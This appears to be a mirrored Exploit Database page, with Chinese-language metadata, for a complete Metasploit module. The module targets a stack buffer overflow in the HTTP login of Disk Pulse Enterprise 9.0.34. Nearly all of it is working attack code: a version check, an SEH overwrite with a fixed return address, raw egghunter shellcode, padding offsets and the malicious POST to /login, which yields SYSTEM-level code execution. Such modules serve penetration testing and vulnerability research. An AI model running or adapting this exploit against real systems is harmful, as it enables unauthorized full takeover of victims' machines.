Disk Pulse Enterprise 9.0.34 – ‘Login’ Remote Buffer Overflow (Metasploit)

• Exploit Database
• 89 阅读

• 作者： Metasploit
  日期： 2016-11-14
• 类别：

  • remote
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/40758/

• ##
  # This module requires Metasploit: http://metasploit.com/download
  # Current source: https://github.com/rapid7/metasploit-framework
  ##
  
  require 'msf/core'
  
  class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking
  
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::Egghunter
  include Msf::Exploit::Remote::Seh
  
  def initialize(info = {})
  super(update_info(info,
  'Name' => 'Disk Pulse Enterprise Login Buffer Overflow',
  'Description'=> %q{
  This module exploits a stack buffer overflow in Disk Pulse Enterprise
  9.0.34. If a malicious user sends a malicious HTTP login request,
  it is possible to execute a payload that would run under the Windows
  NT AUTHORITY\SYSTEM account. Due to size constraints, this module
  uses the Egghunter technique.
  },
  'License'=> MSF_LICENSE,
  'Author' =>
  [
  'Chris Higgins', # msf Module -- @ch1gg1ns
  'Tulpa Security' # Original discovery -- @tulpa_security
  ],
  'References' =>
  [
  [ 'EDB', '40452' ]
  ],
  'DefaultOptions' =>
  {
  'EXITFUNC' => 'thread'
  },
  'Platform' => 'win',
  'Payload'=>
  {
  'BadChars' => "\x00\x0a\x0d\x26"
  },
  'Targets'=>
  [
  [ 'Disk Pulse Enterprise 9.0.34',
  {
  'Ret' => 0x10013AAA, # pop ebp # pop ebx # ret 0x04 - libspp.dll
  'Offset' => 12600
  }
  ],
  ],
  'Privileged' => true,
  'DisclosureDate' => 'Oct 03 2016',
  'DefaultTarget'=> 0))
  
  register_options([Opt::RPORT(80)], self.class)
  
  end
  
  def check
  res = send_request_cgi({
  'uri'=> '/',
  'method' => 'GET'
  })
  
  if res and res.code == 200 and res.body =~ /Disk Pulse Enterprise v9\.0\.34/
  return Exploit::CheckCode::Appears
  end
  
  return Exploit::CheckCode::Safe
  end
  
  def exploit
  connect
  eggoptions =
  {
  :checksum => true,
  :eggtag => "w00t"
  }
  
  print_status("Generating exploit...")
  
  sploit ="username=admin"
  sploit << "&password=aaaaa\r\n"
  
  # Would like to use generate_egghunter(), looking for improvement
  egghunter = "\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74"
  egghunter += "\xef\xb8\x77\x30\x30\x74\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7"
  
  sploit << rand_text(target['Offset'] - payload.encoded.length)
  sploit << "w00tw00t"
  sploit << payload.encoded
  sploit << make_nops(70)
  sploit << rand_text(1614)
  # Would like to use generate_seh_record(), looking for improvement
  sploit << "\x90\x90\xEB\x0B"
  sploit << "\x33\xA3\x01\x10"
  sploit << make_nops(20)
  sploit << egghunter
  sploit << make_nops(7000)
  
  # Total exploit size should be 21747
  print_status("Total exploit size: " + sploit.length.to_s)
  print_status("Triggering the exploit now...")
  print_status("Please be patient, the egghunter may take a while...")
  
  res = send_request_cgi({
  'uri' => '/login',
  'method' => 'POST',
  'content-type' => 'application/x-www-form-urlencoded',
  'content-length' => '17000',
  'data' => sploit
  })
  
  handler
  disconnect
  
  end
  end